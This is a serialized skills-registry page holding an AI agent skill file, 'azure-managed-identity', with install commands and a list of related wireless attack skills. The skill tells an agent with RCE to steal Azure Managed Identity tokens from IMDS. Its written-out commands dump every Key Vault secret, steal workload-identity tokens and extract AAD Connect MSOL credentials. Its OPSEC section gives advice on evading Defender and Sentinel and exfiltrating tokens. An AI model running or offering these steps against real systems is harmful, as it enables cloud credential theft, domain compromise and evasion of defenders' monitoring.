[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M7DF97JAA4KMP8M0X4B4NKWB":3,"skill-same:01M7DF97JAA4KMP8M0X4B4NKWB":50},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":16,"categories":17,"keywords":18,"publishedAt":19,"linkOnly":20,"markdownContent":21,"markdownBody":22,"frontMatter":23,"refName":30,"commitSha":31,"skillDirectory":32,"forksCount":14,"repositoryHtmlUrl":33,"repositoryHomepageUrl":6,"ownerHtmlUrl":34,"ownerBlogUrl":6,"ownerDescription":6,"updatedAt":35,"install":36,"resources":49},"01M7DF97JAA4KMP8M0X4B4NKWB","azure-managed-identity",null,"Azure Managed Identity abuse — IMDS at 169.254.169.254 from compromised VM \u002F App Service \u002F Function, token exchange for Graph\u002FARM\u002FKeyVault, federated workload identity abuse, hybrid AAD Connect MSOL credential extraction.","Akapi895\u002Fraptix","Akapi895","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F83953516?v=4","01M7DEGNDGERR4F4YETDFVA512","Phạm Anh Tuấn","01M7DEGNEHYZNA920AYM5EH7H8",0,"Apache-2.0","https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix\u002Fblob\u002Fmaster\u002Fpackages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fcloud\u002Fazure-managed-identity\u002FSKILL.md",[],[],"2026-11-15 14:19:17",false,"---\nname: azure-managed-identity\ndescription: \"Azure Managed Identity abuse — IMDS at 169.254.169.254 from compromised VM \u002F App Service \u002F Function, token exchange for Graph\u002FARM\u002FKeyVault, federated workload identity abuse, hybrid AAD Connect MSOL credential extraction.\"\nallowed-tools: Bash Read Write\nmetadata:\n  when_to_use: \"azure managed identity msi imds 169.254 system-assigned user-assigned graph arm keyvault workload identity aad connect msol federated\"\n  subdomain: cloud\n  tags: azure, managed-identity, cloud-credential\n  mitre_attack: T1552.005, T1078.004\n---\n\n# Azure Managed Identity Abuse\n\nYou have RCE in an Azure compute resource (VM, App Service, Function, AKS, Container Apps). Steal the Managed Identity token and pivot.\n\n## Steal the token\n\n### Linux VM \u002F Container\n```bash\nTOKEN=$(curl -s -H Metadata:true \\\n  \"http:\u002F\u002F169.254.169.254\u002Fmetadata\u002Fidentity\u002Foauth2\u002Ftoken?api-version=2018-02-01&resource=https:\u002F\u002Fmanagement.azure.com\u002F\" \\\n  | jq -r .access_token)\n```\n\n### Windows VM\n```powershell\n$h = @{Metadata=\"true\"}\n$r = Invoke-RestMethod -Uri \"http:\u002F\u002F169.254.169.254\u002Fmetadata\u002Fidentity\u002Foauth2\u002Ftoken?api-version=2018-02-01&resource=https:\u002F\u002Fmanagement.azure.com\u002F\" -Headers $h\n$TOKEN = $r.access_token\n```\n\n### App Service \u002F Function (different endpoint, requires `IDENTITY_HEADER`)\n```bash\nTOKEN=$(curl -s -H \"X-IDENTITY-HEADER: $IDENTITY_HEADER\" \\\n  \"$IDENTITY_ENDPOINT?resource=https:\u002F\u002Fmanagement.azure.com\u002F&api-version=2019-08-01\" \\\n  | jq -r .access_token)\n```\n\n## Common token audiences (`resource` param)\n\n| Audience URL | Use |\n|---|---|\n| `https:\u002F\u002Fmanagement.azure.com\u002F` | ARM — list\u002Fmodify Azure resources |\n| `https:\u002F\u002Fgraph.microsoft.com\u002F` | Microsoft Graph — read directory, mail, groups |\n| `https:\u002F\u002Fvault.azure.net` | Key Vault — secrets, keys, certificates |\n| `https:\u002F\u002Fstorage.azure.com\u002F` | Storage account — blob\u002Fqueue\u002Ffile\u002Ftable |\n| `https:\u002F\u002Fdatabase.windows.net\u002F` | Azure SQL |\n| `https:\u002F\u002Fservicebus.azure.net\u002F` | Service Bus |\n\nRequest one token per audience — the MI assignment determines which work.\n\n## Use the token\n\n```bash\n# Enumerate the subscription\ncurl -s -H \"Authorization: Bearer $TOKEN\" \\\n  \"https:\u002F\u002Fmanagement.azure.com\u002Fsubscriptions?api-version=2020-01-01\" | jq .\n\n# List Key Vaults (then a VAULT_TOKEN to read secrets)\ncurl -s -H \"Authorization: Bearer $TOKEN\" \\\n  \"https:\u002F\u002Fmanagement.azure.com\u002Fsubscriptions\u002F$SUB\u002Fproviders\u002FMicrosoft.KeyVault\u002Fvaults?api-version=2022-07-01\"\n\n# Read every secret\nVAULT_TOKEN=$(curl -s -H Metadata:true \"http:\u002F\u002F169.254.169.254\u002Fmetadata\u002Fidentity\u002Foauth2\u002Ftoken?api-version=2018-02-01&resource=https:\u002F\u002Fvault.azure.net\" | jq -r .access_token)\ncurl -s -H \"Authorization: Bearer $VAULT_TOKEN\" \"https:\u002F\u002F$VAULT_NAME.vault.azure.net\u002Fsecrets?api-version=7.4\" | jq .\n```\n\n## Pivot patterns\n\n| MI permission | Pivot to |\n|---|---|\n| Contributor on subscription | RunCommand on every VM in the sub → fleet-wide RCE |\n| KeyVault Reader \u002F Secrets User | Decrypt all stored credentials |\n| User Access Administrator | Self-grant Owner role anywhere |\n| AAD App Owner | Modify app registration → app-credential persistence |\n| Storage Account Contributor | Steal storage keys → SAS tokens (low audit signature) |\n\n## Workload Identity (federated, no client secret)\n\nAKS pods using Workload Identity Federation get a token via projected SA token + STS exchange. Steal the projected token from `\u002Fvar\u002Frun\u002Fsecrets\u002Fazure\u002Ftokens\u002Fazure-identity-token`, then:\n\n```bash\nSATOKEN=$(cat \u002Fvar\u002Frun\u002Fsecrets\u002Fazure\u002Ftokens\u002Fazure-identity-token)\nTOKEN=$(curl -s -X POST \"https:\u002F\u002Flogin.microsoftonline.com\u002F$TENANT\u002Foauth2\u002Fv2.0\u002Ftoken\" \\\n  -d \"client_id=$CLIENT_ID&scope=https:\u002F\u002Fmanagement.azure.com\u002F.default&grant_type=client_credentials&client_assertion_type=urn:ietf:params:oauth:client-assertion-type:jwt-bearer&client_assertion=$SATOKEN\" | jq -r .access_token)\n```\n\n## AAD Connect MSOL (hybrid environments)\n\nOn a server running AAD Connect, MSOL_xxxxxxx in local SAM has DCSync rights → full domain compromise. Steal via DPAPI:\n\n```powershell\n# Run as SYSTEM on AAD Connect server\n$key = (New-Object System.Security.Cryptography.AesManaged).Key\n# AADInternals does this end-to-end:\nGet-AADIntSyncCredentials      # AADInternals — extracts MSOL creds\n```\n\n## OPSEC\n\n- Azure Activity Log records every ARM call. Use Graph for low-noise enumeration.\n- Token TTL ~24h. Re-stealing is logged via the IMDS access pattern (visible in Azure VM monitor).\n- `IDENTITY_HEADER` env on App Service is process-scope — exfil it from a single trick command, then reuse.\n- Defender for Cloud + Microsoft Sentinel detect: \"ManagedIdentityToken used from non-Azure IP\" → exfil tokens carefully.\n\n## References\n\n- MicroBurst (NetSPI), MicroBurst-Cloud (Karl Fosaaen) — Azure-specific tooling\n- ROADtools (Dirk-jan) — AAD enumeration without alerts\n- DEFCON 30 \"Abusing Azure Active Directory\" — Andy Robbins\n","# Azure Managed Identity Abuse\n\nYou have RCE in an Azure compute resource (VM, App Service, Function, AKS, Container Apps). Steal the Managed Identity token and pivot.\n\n## Steal the token\n\n### Linux VM \u002F Container\n```bash\nTOKEN=$(curl -s -H Metadata:true \\\n  \"http:\u002F\u002F169.254.169.254\u002Fmetadata\u002Fidentity\u002Foauth2\u002Ftoken?api-version=2018-02-01&resource=https:\u002F\u002Fmanagement.azure.com\u002F\" \\\n  | jq -r .access_token)\n```\n\n### Windows VM\n```powershell\n$h = @{Metadata=\"true\"}\n$r = Invoke-RestMethod -Uri \"http:\u002F\u002F169.254.169.254\u002Fmetadata\u002Fidentity\u002Foauth2\u002Ftoken?api-version=2018-02-01&resource=https:\u002F\u002Fmanagement.azure.com\u002F\" -Headers $h\n$TOKEN = $r.access_token\n```\n\n### App Service \u002F Function (different endpoint, requires `IDENTITY_HEADER`)\n```bash\nTOKEN=$(curl -s -H \"X-IDENTITY-HEADER: $IDENTITY_HEADER\" \\\n  \"$IDENTITY_ENDPOINT?resource=https:\u002F\u002Fmanagement.azure.com\u002F&api-version=2019-08-01\" \\\n  | jq -r .access_token)\n```\n\n## Common token audiences (`resource` param)\n\n| Audience URL | Use |\n|---|---|\n| `https:\u002F\u002Fmanagement.azure.com\u002F` | ARM — list\u002Fmodify Azure resources |\n| `https:\u002F\u002Fgraph.microsoft.com\u002F` | Microsoft Graph — read directory, mail, groups |\n| `https:\u002F\u002Fvault.azure.net` | Key Vault — secrets, keys, certificates |\n| `https:\u002F\u002Fstorage.azure.com\u002F` | Storage account — blob\u002Fqueue\u002Ffile\u002Ftable |\n| `https:\u002F\u002Fdatabase.windows.net\u002F` | Azure SQL |\n| `https:\u002F\u002Fservicebus.azure.net\u002F` | Service Bus |\n\nRequest one token per audience — the MI assignment determines which work.\n\n## Use the token\n\n```bash\n# Enumerate the subscription\ncurl -s -H \"Authorization: Bearer $TOKEN\" \\\n  \"https:\u002F\u002Fmanagement.azure.com\u002Fsubscriptions?api-version=2020-01-01\" | jq .\n\n# List Key Vaults (then a VAULT_TOKEN to read secrets)\ncurl -s -H \"Authorization: Bearer $TOKEN\" \\\n  \"https:\u002F\u002Fmanagement.azure.com\u002Fsubscriptions\u002F$SUB\u002Fproviders\u002FMicrosoft.KeyVault\u002Fvaults?api-version=2022-07-01\"\n\n# Read every secret\nVAULT_TOKEN=$(curl -s -H Metadata:true \"http:\u002F\u002F169.254.169.254\u002Fmetadata\u002Fidentity\u002Foauth2\u002Ftoken?api-version=2018-02-01&resource=https:\u002F\u002Fvault.azure.net\" | jq -r .access_token)\ncurl -s -H \"Authorization: Bearer $VAULT_TOKEN\" \"https:\u002F\u002F$VAULT_NAME.vault.azure.net\u002Fsecrets?api-version=7.4\" | jq .\n```\n\n## Pivot patterns\n\n| MI permission | Pivot to |\n|---|---|\n| Contributor on subscription | RunCommand on every VM in the sub → fleet-wide RCE |\n| KeyVault Reader \u002F Secrets User | Decrypt all stored credentials |\n| User Access Administrator | Self-grant Owner role anywhere |\n| AAD App Owner | Modify app registration → app-credential persistence |\n| Storage Account Contributor | Steal storage keys → SAS tokens (low audit signature) |\n\n## Workload Identity (federated, no client secret)\n\nAKS pods using Workload Identity Federation get a token via projected SA token + STS exchange. Steal the projected token from `\u002Fvar\u002Frun\u002Fsecrets\u002Fazure\u002Ftokens\u002Fazure-identity-token`, then:\n\n```bash\nSATOKEN=$(cat \u002Fvar\u002Frun\u002Fsecrets\u002Fazure\u002Ftokens\u002Fazure-identity-token)\nTOKEN=$(curl -s -X POST \"https:\u002F\u002Flogin.microsoftonline.com\u002F$TENANT\u002Foauth2\u002Fv2.0\u002Ftoken\" \\\n  -d \"client_id=$CLIENT_ID&scope=https:\u002F\u002Fmanagement.azure.com\u002F.default&grant_type=client_credentials&client_assertion_type=urn:ietf:params:oauth:client-assertion-type:jwt-bearer&client_assertion=$SATOKEN\" | jq -r .access_token)\n```\n\n## AAD Connect MSOL (hybrid environments)\n\nOn a server running AAD Connect, MSOL_xxxxxxx in local SAM has DCSync rights → full domain compromise. Steal via DPAPI:\n\n```powershell\n# Run as SYSTEM on AAD Connect server\n$key = (New-Object System.Security.Cryptography.AesManaged).Key\n# AADInternals does this end-to-end:\nGet-AADIntSyncCredentials      # AADInternals — extracts MSOL creds\n```\n\n## OPSEC\n\n- Azure Activity Log records every ARM call. Use Graph for low-noise enumeration.\n- Token TTL ~24h. Re-stealing is logged via the IMDS access pattern (visible in Azure VM monitor).\n- `IDENTITY_HEADER` env on App Service is process-scope — exfil it from a single trick command, then reuse.\n- Defender for Cloud + Microsoft Sentinel detect: \"ManagedIdentityToken used from non-Azure IP\" → exfil tokens carefully.\n\n## References\n\n- MicroBurst (NetSPI), MicroBurst-Cloud (Karl Fosaaen) — Azure-specific tooling\n- ROADtools (Dirk-jan) — AAD enumeration without alerts\n- DEFCON 30 \"Abusing Azure Active Directory\" — Andy Robbins\n",{"name":5,"metadata":24,"description":7,"allowed-tools":29},{"tags":25,"subdomain":26,"when_to_use":27,"mitre_attack":28},"azure, managed-identity, cloud-credential","cloud","azure managed identity msi imds 169.254 system-assigned user-assigned graph arm keyvault workload identity aad connect msol federated","T1552.005, T1078.004","Bash Read Write","master","8e5d356b795eae2edd4a26509a4b8968e2c4c251","packages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fcloud\u002Fazure-managed-identity","https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix","https:\u002F\u002Fgithub.com\u002FAkapi895","2026-11-06 17:46:09",{"source":8,"skillName":5,"commands":37,"prompt":47,"zipAvailable":48},[38,41,44],{"tool":39,"command":40},"npx","npx skills add Akapi895\u002Fraptix --skill azure-managed-identity",{"tool":42,"command":43},"bunx","bunx skills add Akapi895\u002Fraptix --skill azure-managed-identity",{"tool":45,"command":46},"pnpm","pnpm dlx skills add Akapi895\u002Fraptix --skill azure-managed-identity","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix\u002Fblob\u002Fmaster\u002Fpackages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fcloud\u002Fazure-managed-identity\u002FSKILL.md",true,[],[51,58,65,72,79,86],{"skillNo":52,"name":53,"nameZh":6,"description":54,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":55,"categories":56,"keywords":57,"publishedAt":19},"01M7DGM32SRP4FZSPYWY621BKQ","wps-pixie-dust","WPS Pixie-Dust offline nonce attack (reaver -K \u002F pixiewps) and fallback online PIN brute (bully) to recover the AP's WPA PSK without capturing a handshake.","https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix\u002Fblob\u002Fmaster\u002Fpackages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fwireless\u002Fwps-pixie-dust\u002FSKILL.md",[],[],{"skillNo":59,"name":60,"nameZh":6,"description":61,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":62,"categories":63,"keywords":64,"publishedAt":19},"01M7DGKXXVDTY0KBZZR83VFPZX","wpa3-sae","WPA3-SAE transition-mode downgrade (DragonShift), SSID Confusion CVE-2023-52424, Dragonblood side-channels, and SAE captive-portal credential recovery against WPA3-Personal networks.","https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix\u002Fblob\u002Fmaster\u002Fpackages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fwireless\u002Fwpa3-sae\u002FSKILL.md",[],[],{"skillNo":66,"name":67,"nameZh":6,"description":68,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":69,"categories":70,"keywords":71,"publishedAt":19},"01M7DGKSV77ENX3D6TG2HQX9MK","wpa2-psk","WPA\u002FWPA2-PSK handshake capture via targeted deauth + PMKID (no deauth required) + offline hashcat cracking. The most common consumer\u002FSMB encryption mode in 2026.","https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix\u002Fblob\u002Fmaster\u002Fpackages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fwireless\u002Fwpa2-psk\u002FSKILL.md",[],[],{"skillNo":73,"name":74,"nameZh":6,"description":75,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":76,"categories":77,"keywords":78,"publishedAt":19},"01M7DGKJ9R6YTFRFBSEAJRGGKF","wpa-enterprise-eap","WPA\u002FWPA2\u002FWPA3-Enterprise (802.1X\u002FEAP) rogue-RADIUS evil-twin for MSCHAPv2 capture, GTC downgrade, and PEAP relay. MSCHAPv2 capture equals a NetNTLM hash — the primary wireless on-ramp to Active Directory.","https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix\u002Fblob\u002Fmaster\u002Fpackages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fwireless\u002Fwpa-enterprise-eap\u002FSKILL.md",[],[],{"skillNo":80,"name":81,"nameZh":6,"description":82,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":83,"categories":84,"keywords":85,"publishedAt":19},"01M7DGKCFZGKK2EQMWZM1A18S8","krack-fragattacks","KRACK key-reinstallation (CVE-2017-13077..13082) and FragAttacks fragmentation\u002Faggregation flaws (CVE-2020-24586..24588, CVE-2020-26139..26147) against legacy or embedded 802.11 supplicants with poor patch cadence.","https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix\u002Fblob\u002Fmaster\u002Fpackages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fwireless\u002Fkrack-fragattacks\u002FSKILL.md",[],[],{"skillNo":87,"name":88,"nameZh":6,"description":89,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":90,"categories":91,"keywords":92,"publishedAt":19},"01M7DGK76MKZQWBXTZN82W7214","evil-twin-karma","Evil-twin rogue AP with KARMA\u002FMana PNL-probe response, captive-portal credential capture, and post-association MITM for PSK\u002Fopen networks. Distinct from wpa-enterprise-eap which targets 802.1X.","https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix\u002Fblob\u002Fmaster\u002Fpackages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fwireless\u002Fevil-twin-karma\u002FSKILL.md",[],[]]